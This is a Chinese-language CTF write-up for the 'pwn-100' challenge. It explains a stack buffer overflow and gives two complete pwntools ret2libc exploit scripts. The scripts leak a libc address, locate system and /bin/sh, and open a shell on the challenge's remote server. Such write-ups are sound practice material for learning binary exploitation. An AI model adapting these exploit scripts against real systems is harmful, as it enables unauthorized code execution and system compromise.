栈溢出加ROP,输入逻辑如下:
void read_alter(char *buf,int len)
{
int i;
for (i = 0; i < len; i += 1) {
read(0,buf + i,1);
}
return;
}
void game(void)
{
char buf [64];
read_alter(buf,200);
puts("bye~");
return;
}
输入逻辑为从标准输入流严格读入200个字节,因此输入的时候不能sendline,需要限制字节数。调试得到偏移量,剩下的就是做ret2libc了:
from pwn import *
from LibcSearcher import *
context(log_level="debug", arch="amd64", os="linux")
elf = ELF("./pwn-100")
# r = process("./pwn-100")
r = remote("61.147.171.105", 65187)
main = 0x4006b8
pop_rdi = 0x400763
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.raw(main)
payload1 = (cyclic(72) + rop.chain()).ljust(200, b"\x00")
r.send(payload1)
r.recvline()
puts = u64(r.recv()[0:6] + b"\x00\x00")
log.debug("puts: " + hex(puts))
libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload2 = cyclic(72) + p64(pop_rdi) + p64(bin_sh) + p64(system)
payload2 = payload2.ljust(200, b"\x00")
r.send(payload2)
r.interactive()
目前攻防世界上的题libc为libc6_2.23-0ubuntu11_amd64,选择时可以无脑一把梭。
再更新一下exp,用ROP module做更方便:
from pwn import *
from LibcSearcher import *
context(log_level="debug", arch="amd64", os="linux")
elf = ELF("./pwn-100")
# r = process("./pwn-100")
r = remote("61.147.171.105", 50734)
main = 0x4006b8
rop1 = ROP(elf)
rop1.call("puts", [elf.got["puts"]])
rop1.raw(main)
payload1 = (cyclic(72) + rop1.chain()).ljust(200, b"\x00")
r.send(payload1)
r.recvline()
puts = u64(r.recv()[0:6] + b"\x00\x00")
log.debug("puts: " + hex(puts))
libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
rop2 = ROP(elf)
rop2.call(system, [bin_sh])
payload2 = cyclic(72) + rop2.chain()
payload2 = payload2.ljust(200, b"\x00")
r.send(payload2)
r.interactive()